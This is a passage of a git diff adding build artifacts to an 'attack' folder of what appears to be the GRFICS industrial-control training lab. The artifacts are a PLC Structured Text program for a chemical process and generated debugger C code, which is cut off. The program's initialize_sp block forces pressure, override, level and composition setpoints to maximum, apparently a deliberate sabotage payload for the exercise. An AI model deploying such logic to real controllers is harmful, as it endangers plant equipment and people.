TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), 